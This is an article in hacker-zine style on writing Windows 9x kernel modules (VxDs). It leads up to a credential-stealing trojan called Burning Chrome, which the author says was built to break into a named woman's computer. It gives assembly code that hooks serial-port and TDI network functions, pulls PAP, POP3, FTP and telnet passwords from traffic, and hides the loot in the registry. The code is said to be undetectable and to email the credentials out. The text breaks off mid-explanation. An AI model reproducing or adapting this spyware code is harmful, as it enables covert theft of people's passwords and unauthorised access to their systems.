This article explains the basics of Windows 9x kernel modules development and
contains the full source of a loadable kernel module (LKM) that performs the
following functions:
1) it captures TCP connections traffic and extracts telnet/pop3/ftp passwords
2) it captures dial-up connections traffic (by capturing the raw data from the
serial port) and extracts dial-up passwords
3) by accessing the TCP stack directly (bypassing the Winsock interface), it
emails all the collected authentication information to an evil script
kiddie sitting in a basement full of stolen hardware
4) it is virtually undetectable with any standard Windows tools
5) it is written entirely in assembly and the executable file size is
only 7KB
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[ a r t i c l e ] [ a u t h o r ]
Attacking Windows 9x with Loadable Kernel Modules Solar Eclipse
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
--------[ Solar Eclipse ]
----[ Introduction
This article explains the basics of Windows 9x kernel modules development and
contains the full source of a loadable kernel module (LKM) that performs the
following functions:
1) it captures TCP connections traffic and extracts telnet/pop3/ftp passwords
2) it captures dial-up connections traffic (by capturing the raw data from the
serial port) and extracts dial-up passwords
3) by accessing the TCP stack directly (bypassing the Winsock interface), it
emails all the collected authentication information to an evil script
kiddie sitting in a basement full of stolen hardware
4) it is virtually undetectable with any standard Windows tools
5) it is written entirely in assembly and the executable file size is
only 7KB
The name of the LKM is Burning Chrome. I wrote it because I had to break into
a computer system owned by a girl called Chrome. Yes, I know it sounds lame.
No, I don't know who William Gibson is. Dude, what is the Matrix?
I assume that you have a basic knowledge of Win32 programming, x86 protected
mode architecture, 32-bit assembly language programming, SoftIce and basic
Internet protocols (telnet/pop3/ftp/smtp).
I will start this article with a short overview of the Windows 9x kernel
design. Then I will describe a template kernel module and will talk about some
of the system services that Windows provides. Finally I will give you the
Burning Chrome source.
----[ Windows 9x Internals
Windows 9x has two separate layers of code: DLL layer and VXD layer.
1) DLL Layer
The DLL layer consists of all system DLLs. It runs as a Ring 3 code. All the
API functions that Windows programs normally call are implemented in the DLL
layer (in KERNEL32.DLL, USER32.DLL, GDI32.DLL and other DLLs). Many of the
DLLs call VXD functions. Some of the API functionality is implemented entirely
in the VXD layer and the DLL functions act only as gates (this is the case
with the registry access functions). Calling DLL functions from the VXD layer
is impossible and this makes most of the Windows API inaccessible to kernel
modules.
I will not discuss the system DLLs any more, because they are not used for
Windows kernel hacking.
2) VXD Layer
The general term VXD stands for Virtual Device Driver, the "x" being a
placeholder for device names. For example, VKD is a Virtual Keyboard Driver,
VDD is a Virtual Display Driver, etc. The VXD layer is the core of the Windows
OS. It is similar to the Linux kernel and the functions it provides, although
it is not nearly as well documented. The VXD code handles memory management,
task switching, low-level hardware access and other similar tasks. The core OS
services, such as registry access, networking and file access are also
implemented in the VXD layer.
All VXDs run in Ring 0 and have full access to the system. Hacking the Windows
kernel is possible by writing an VXD.
The Windows Driver Development Kit (DDK) is used for writing VXDs. Most
programmers shiver when somebody mentions 'device drivers', but but the VXDs
can be used for many other purposes. Let me quote Andrew Schulman, the author
of "Unauthorized Windows95. A Developer's Guide to Exploring the Foundations
of Windows 95":
"...Seen from this perspective, the names Virtual Device Driver and
Device Driver Kit are unfortunate. They automatically turn off most
Windows developers, who quite sensibly feel that device-driver writing is
an area they would rather stay away from. More appropriate names would
have been "TSRs for Windows" or "Please Hack Our Operating System". As it
is, the names VXD and DDK alienate many programmers who would otherwise
jump at this stuff.
...Admittedly, very few Windows programmers will be using VXDs to write
hardware interrupt handlers or device drivers. But a short time spent
with the DDK should convince you that there's a ton of documented
functionality available to VXDs that is otherwise difficult or impossible
to get under Windows. Whenever a programmer says that something is
"impossible" in Windows, I suspect the correct reply will be "No it
isn't. Write a VXD" Just as TSRs allowed DOS programmers to do the
otherwise-impossible in the 1980s, VXDs are going to let Windows
programmers go anywhere and do anything in what's left of the 1990s."
Unfortunately (or maybe fortunately) writing VXDs for Windows has not become
as common as writing TSRs for DOS was. The possibilities that the Virtual
Device Drivers offer are big, but writing one is not an easy task.
----[ Your First VXD
VXDs are usually written with the Windows98 DDK, which includes a copy of the
Microsoft Macro Assembler (MASM). It is possible to use C for VXD development,
but using assembly is definitely more fun. Other tools, such as NuMega
DriverWorks make the programmer's job easier, but for this example I will use
only the Win98 DDK. The DDK is available for free download on Microsoft's web
site. Even if they take it down, you will be able to find it on some old copy
of the MSDN or on the net.
Having a copy of the Windows NT4 DDK, Windows 2000 DDK and even the Windows
3.11 DDK will also be nice. Many interesting VXD features are poorly
documented or not documented at all. Although the Windows 98 DDK will be your
primary source of information, sometimes you will find the information you
need in some of the other kits. The Windows 3.11 DDK is useful, because there
are a lots of similarities in the internal architecture of Windows 3.11 and
Windows 95. (Contrary to the Microsoft hype, Windows 3.11 was closer to
Windows 95 than to Windows 3.1. Basically the only major change between 3.11
and 95 was the GUI)
The VXDs are LE executables. You need a special linker to link them (included
in the DDK).
The following source is a template for a very basic VXD. It's just an example
for a module that can be successfully loaded by the system.
example.asm
; EXAMPLE.ASM
; VXDs use 386 protected mode
.386p
; Many system VXDs export services, just like the system DLLs in Windows.
; We can use these services for memory allocations, registry and file
; access, etc.
; All we need to do is include the appropriate include file. There are
; many INC files for the system VXDs that come with the DDK.
; VMM.INC is the only required include file. It contains the declarations
; for many important services exported by VMM32.VXD, as well as many
; macros that are used for VXD programming.
INCLUDE VMM.INC
; All VXDs need a Driver Declaration Block (DDB), that stores information
; about its name, version, control procedure, device ID, init order, etc.
; To build this DDB use the Declare_Virtual_Device macro with the following
; parameters:
; - VXD name (needs not be the same as the file name)
; - Major version
; - Minor version
; - Control procedure (similar to WndProc in normal Windows programs. This
; procedure receives all the system messages and processes them
; - Device ID - used only for VXDs that export services. Arbitrary values
; might work as long as they don�t conflict with the official Device IDs
; assigned by Microsoft
; - Init order - 32 bit integer, determines the order in which the VXDs
; are loaded. If you want your VXD to be loaded after some other VXD,
; use a value greater than the other VXD's init order
Declare_Virtual_Device EXAMPLE, 1, 0, Control_Proc, Undefined_Device_ID,
Undefined_Init_Order, , ,
; This macros declares the data segment
VxD_DATA_SEG
SomeData dd 0 ; Just some data
VxD_DATA_ENDS
; Code segment
VxD_CODE_SEG
BeginProc SomeProcedure
push eax
mov eax, 1
pop eax
ret
EndProc SomeProcedure
VxD_CODE_ENDS
;Locked code segment - will be explained later
VxD_LOCKED_CODE_SEG
; This is the control procedure. It should use Control_Dispatch macros for
; handling the messages. This macro takes 2 parameters - message_code and
; handler address. You can find a list of all the messages in the DDK
; documentation.
; This example only handles the Device_Init message and calls the
; Do_Device_Init function.
BeginProc Control_Proc
Control_Dispatch Device_Init, Do_Device_Init
clc
ret
EndProc Control_Proc
VxD_LOCKED_CODE_ENDS
; Init code segment
VxD_ICODE_SEG
; This procedure is called after the VXD is loaded. Put the initialization
; code in it.
BeginProc Do_Device_Init
; Put some init code here...
ret
EndProc Do_Device_Init
VxD_ICODE_ENDS
; End of EXAMPLE.ASM
END
There are 7 different types of segments that your VXD can use.
1) VxD_DATA_SEG and VxD_CODE_SEG - for pageable code and data
2) VxD_LOCKED_DATA_SEG i VxD_LOCKED_CODE_SEG - this segments contain
non-pageable code and data. Control_Proc and the interrupt handlers
should be in VxD_LOCED_CODE_SEG. I am not quite sure about the
rest of the code. The Windows DDK documentation is not very clear about
that. If your VXD is small, you might want to use only non-pageable
memory, just to be safe.
3) VxD_ICODE_SEG i VxD_IDATA_SEG - initialization code and data. These
segments are discarded after the initialization is finished. This is a
good place for the Do_Device_Init procedure.
4) VxD_REAL_INIT_SEG - The code in this segment is executed by Windows
before the processor switches to protected mode. Unless you are writing a
REAL device driver, it's pretty much useless.
To compile the example VXD you will also need a .DEF file. This is
EXAMPLE.DEF:
example.def
LIBRARY EXAMPLE
DESCRIPTION 'VxD Example by Solar Eclipse'
EXETYPE DEV386
SEGMENTS
_LTEXT PRELOAD NONDISCARDABLE
_LDATA PRELOAD NONDISCARDABLE
_ITEXT CLASS 'ICODE' DISCARDABLE
_IDATA CLASS 'ICODE' DISCARDABLE
_TEXT CLASS 'PCODE' NONDISCARDABLE
_DATA CLASS 'PCODE' NONDISCARDABLE
EXPORTS
EXAMPLE_DDB @1
example.def
If your DDK is set up correctly, and all the shell variables are initialized
(read the DDK docs for that), you should be able to compile EXAMPLE.VXD with
the following commands (no Makefile, sorry):
You can compile a DEBUG version with this:
set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT -
DMASM6 -DINITLOG -DDEBLEVEL=0 -Fl
ml example.asm
NO_DEBUG version:
set ML=-coff -DBLD_COFF -DIS_32 -nologo -W3 -Zd -c -Cx -DWIN40COMPAT -
DMASM6 -DINITLOG -DDEBLEVEL=1 -DDEBUG -Fl
ml example.asm
Then link it:
link example.obj /vxd /def:example.def
Put the file EXAMPLE.VXD in C:WINDOWSSYSTEM and add the following to the
[386Enh] section of SYSTEM.INI
device=example.vxd
After the system is rebooted, the VXD will be loaded. Of course it won't do
much, but you can see it in the VXD list with SoftIce.
----[ Burning Chrome
The VXDs allow you to access most of the core Windows services directly and
this gives you some interesting possibilities. Let's explore the features
implemented in CHROME.ASM.
I. Capturing dial-up passwords
Almost all dial-up connections are initiated through a modem attached to a
serial port, using the PPP protocol. The two most common ways of
authentication are via PAP (Password Authentication Protocol) or via a login
prompt. To get these passwords we need to capture the traffic passing through
the serial port.
The Hook_Device_Service system call allows us to hook the services exported by
the VXDs. VCOMM.VXD exports three services that we need to hook. These are
VCOMM_OpenComm, VCOMM_WriteComm and VCOMM_CloseComm. The following code
hooks the services:
; Hook VCOMM services
GetVxDServiceOrdinal eax, _VCOMM_OpenComm
mov esi, offset32 OpenComm_Hook
VMMcall Hook_Device_Service
jc Abort
GetVxDServiceOrdinal eax, _VCOMM_WriteComm
mov esi, offset32 WriteComm_Hook
VMMcall Hook_Device_Service
jc Abort
GetVxDServiceOrdinal eax, _VCOMM_CloseComm
mov esi, offset32 CloseComm_Hook
VMMcall Hook_Device_Service
jc Abort
OpenComm_Hook, WriteComm_Hook and CloseComm_Hook are the names of the new
service handlers.
One of the OpenComm parameters is the name of the device being opened. When a
dial-up connection is established, Windows opens COM1, COM2, COM3 or COM4 and
sends the AT modem commands. Our OpenComm procedure checks the device name and
sets a flag if it is a COM port. All the subsequent WriteComm calls are
logged, until the connection is closed.
If the flag is set, the WriteComm procedure saves all the data to a buffer.
When the buffer gets full, the data in it is processed and saved to the
registry.
The main goal of the log processing routines is to make sure that no
username/password combination is emailed twice - getting your mailbox flooded
by a misbehaving trojan horse is not good. This requires the usernames and
the passwords to be saved and each new connection to be checked against the
old sessions. The best place for storing such information is the registry.
Reading and writing to the registry is much easier than storing the data in a
file on the hard disk. The chance of the user noticing a few new entries in
the registry is also very slim.
For each session, four things need to be saved: username, password, phone
number or IP address of the remote end and the log itself. Before the session
is saved, the username, password and the phone number are extracted from the
log and compared to the existing values in the registry. If a session with the
same values exists, the new session is not saved.
CHROME.ASM combines the username, password and phone number into a single
string. Then it saves the session to the registry using this string as the key
name and the log as the key value. The string acts as a hash of the log. When
a new connection is captured, its hash string is generated and the VXD checks
if a key with the same hash exists. It does this by trying to open a key with
the same name as the hash string. If the RegQueryValueEx call fails, the new
connection is saved.
; The following code is taken from the Send_Common procedure
; ValueName is pointer to the beginning of the hash string.
; pBuffer is a pointer to the log
; RegQueryValueEx expects a pointer to a pointer, so dwTemp_1 is used
; for passing a pointer to a NULL pointer
Get_Reg_Value:
; Try to get the value with the same name
xor ebx, ebx
mov dwTemp_1, ebx
push offset32 dwTemp_1 ; cbData
push ebx ; lpszData
push ebx ; fdwType
push ebx ; dwReserved
push ValueName ; lpszValueName
push hOurKey ; phKey
VMMCall _RegQueryValueEx ; Get the value of the key
add esp, 18h
cmp eax, ERROR_FILE_NOT_FOUND ; If key exists
jne Send_Common_Abort
; Save the result in the registry
push BufferSize ; cbData
push pBuffer ; lpszData
push REG_SZ ; fdwType
push 0 ; dwReserved
push ValueName ; lpszValueName
push hOurKey ; phKey
VMMCall _RegSetValueEx ; Set the value of the key
add esp, 18h
When the user ftp's to a server his connection is logged. If later he decides
to telnet to the same server with the save username and password, the telnet
connection will not be saved, because the hash string will be the same. To
avoid this we will include an connection type identifier in the hash string.
This identifier is a single letter put in the beginning of the hash string:
TraceLetters equ $ ; Table with letters for each different
NOTHING db 'N' ; type of trace. Indexed with TraceType
MODEM db 'M'
TELNET db 'T'
FTP db 'F'
POP3 db 'P'
The buffer processing functions for the dial-up and the TCP connections are
very similar. They only differ in the way the hash string is extracted from
the log. The common buffer processing is done by the Send_Common function. It
saves the new data in the buffer and checks if it is full. Usually we don't
need to capture more than the first hundred bytes to get the username and
password. If the buffer is full, the log should be processed. The TraceType
variable contains the connection type - modem, telnet, ftp or pop3.
Send_Common calls the appropriate log processing function - in the case of a
dial-up connection it calls ModemLog. The log processing functions extract a
hash string from the buffer and returns it to Send_Common.
ModemLog checks the captured data for an ATD command. If does not find it, an
error flag is set and the data is not saved into the registry. Else the
phone number is extracted and copied as the first part of the hash string.
If the first transferred byte after the phone number is a '~' we are dealing
with a PPP connection. During the PPP connection establishment authentication
information can be exchanged. The most commonly used protocol is called PAP
(Password Authentication Protocol). CHAP (Challenge Authentication Protocol)
is also popular, but it does not send the password in cleartext and therefor
can not be captured by the VXD.
You can find more information on PAP in RFC1172: The Point-to-Point Protocol
Initial Configuration Options. The PPP protocol is described in RFC1331.
The PAP authentication information is transmitted using a PPP packet with a
PAP sub-packet type. The structure of the PAP packet is shown in the
following table:
| 7E | C0 23 | 01 | xx | xx xx | ULen | U S E R | PLen | P A S S |
| | | | | | | | | |
|PPP | PAP |code| id |length |user len|username |pass len|password |
All PAP packets start with 7E C0 23. If the packet is carrying authentication
information the PAP code is 01. We need to scan the captured PPP session for
the 7E C0 23 01 byte sequence and copy the username and the password to hash
string.
If the first character after the phone number is not '~', we are dealing with
a login prompt configuration. Usually the user enters a username, presses
Enter, then enters the password, presses Enter again and the PPP connection is
established. As we already know, the first byte of the PPP handshake sequence
is '~'. If we copy all the data before the '~' to the hash string we'll surely
get the username and the password.
II. Capturing TCP connections
Everybody reading this is probably familiar with the Winsock interface. What
most of you don't know is that most of the Winsock functions are implemented
in the Transport Data Interface (TDI). This is a kernel mode interface for
network access, supporting different network protocols. WINSOCK.DLL is just a
convenient way for the Windows applications to use this interace without
calling the VTDI.VXD services directly.
Among others the TDI interface provides the functions TdiConnect,
TdiDisconnect and TdiSend. They correspond directly to the Winsock functions
connect(), disconnect() and send(). We need to hook these functions and
intercept the data being sent. There is no documented way for hooking these
functions, but it's not impossible. The VTDI_Get_Info system call returns a
pointer to the TdiDispatchTable, which contains pointers to all the TDI
functions. The applications that use TDI are supposed to get the addresses
from this table and call the TDI functions directly. If we get the address of
this table and replace the addresses of the TDI functions with the addresses
of our hooks, all the TDI calls will get routed to us. Our code runs in Ring 0
and we have full access to the memory and can change whatever we want. Of
course we need to save the addresses of the old handlers so that we can call
them later. Sounds just like hooking DOS interrupt handlers, doesn't it?
Here is the code for hooking the TDI functions:
; Make sure VTDI is present
VxDcall VTDI_Get_Version
jc Abort
; Get a pointer to the TCP dispatch table
push offset32 TCPName
VxDcall VTDI_Get_Info
add esp, 4
mov TdiDispatchTable, eax ; Save the address of TdiDispatchTable
; Hook TdiCloseConnection, TdiConnect, TdiDisconnect and TdiSend
mov ebx, [eax+0Ch]
mov TdiCloseConnection_PrevAddr, ebx
mov [eax+0Ch], offset32 TdiCloseConnection_Hook
mov ebx, [eax+18h]
mov TdiConnect_PrevAddr, ebx
mov [eax+18h], offset32 TdiConnect_Hook
mov ebx, [eax+1Ch]
mov TdiDisconnect_PrevAddr, ebx
mov [eax+1Ch], offset32 TdiDisconnect_Hook
mov ebx, [eax+2Ch]
mov TdiSend_PrevAddr, ebx
mov [eax+2Ch], offset32 TdiSend_Hook
The TDI documentation in the Windows DDK is incomplete and very confusing, but
it's the only available source of information.
TdiConnect is passed a pointer to a RequestAddress structure, which contains a
pointer to a RemoteAddress structure, which contains the IP address and the
port number. After making sure that the RequestAddress is of type IPv4, our
TdiConnect handler checks the destination port number. If it is 21, 23 or 110
we need to capture this connection. We need to set the TraceType flag and save
the connection handle. Unfortunately this connection handle is not returned
directly by the original TdiConnect function. One of its parameters is the
address of a callback function which is to be called after the connection is
established (or when an error occurs). We will save the supplied address of
the callback function and replace it with the address of TdiConnect_Callback
function in the VXD. This function checks the connection status. If the
connection is successfully established, the connection handle is saved. If
not, the TraceType flag is unset. After that the real callback function is
called.
TdiSend is very similar to WriteComm. It checks the connection handle and if
it matches the connection that we are currently tracing TdiSend calls
SendCommon. From there on the process is exactly the same as described above.
If we are tracing a pop3 session, SendCommon calls Pop3Log as a log processing
function. Pop3Log converts the IP address of the server to a hex string and
saves it as the first part of the hash. This makes sure that two accounts with
the same username/password on different servers will not get confused. Then
the log is scanned for the USER and PASS commands. The username and password
are extracted and stored in the hash string.
mov esi, pBuffer
mov ecx, BufferSize
mov ebx, ecx
mov eax, 'RESU' ; Search for USER
USER_or_PASS_Loop:
cmp dword ptr [esi], eax ; Search for USER or PASS (in eax)
je USER_or_PASS_Copy_Loop_Start
inc esi
dec ecx
jz Pop3Log_Abort
jmp USER_or_PASS_Loop
USER_or_PASS_Copy_Loop_Start:
add esi, 5 ; Skip 'USER' and 'PASS'
USER_or_PASS_Copy_Loop:
cmp byte ptr [esi], 0Dh ; Is here?
jne Copy_USER_or_PASS
cmp al, 'P' ; Is this a PASS copy?
je Pop3Log_End ; Work done, finish log processing
mov ax, 0A0Dh ; Save a between username & pass
stosw
mov eax, 'SSAP'
jmp USER_or_PASS_Loop
Copy_USER_or_PASS:
movsb
dec ecx
jz Pop3Log_Abort
jmp USER_or_PASS_Copy_Loop
This code is shown here only as a prove that programming in assembly is
a very brain damaging activity. After spending several years doing assembly
language programming, you'll never programmer the same way as before, even in
a high level language. Whether this is good or bad is a different question.
The FTP protocol is very similar to the POP3 protocol. In fact the
authentication commands (USER & PASS) are exactly the same and FtpLog can
simply call Pop3Log. We don't want to capture all the anonymous ftp
connections and that's why FtpLog checks the username. If it is 'anonymous',
the connection trace is aborted.
All telnet logs are processed by the TelnetLog function. It is a little bit
more complicated because the Telnet client negotiates the terminal options
with the server before it lets the user type his username and password. The
algorithm for the username/password extraction is as follows:
DATA: terminal options | 0 | username | CR | password | CR | more data
1) find the first CR
2] find the second CR
3) save the second CR position
4) search for the 0 (going back from the second CR)
5) stop when 0 is found or the beginning of the buffer is reached
6) copy everything from the current position (starting after the
|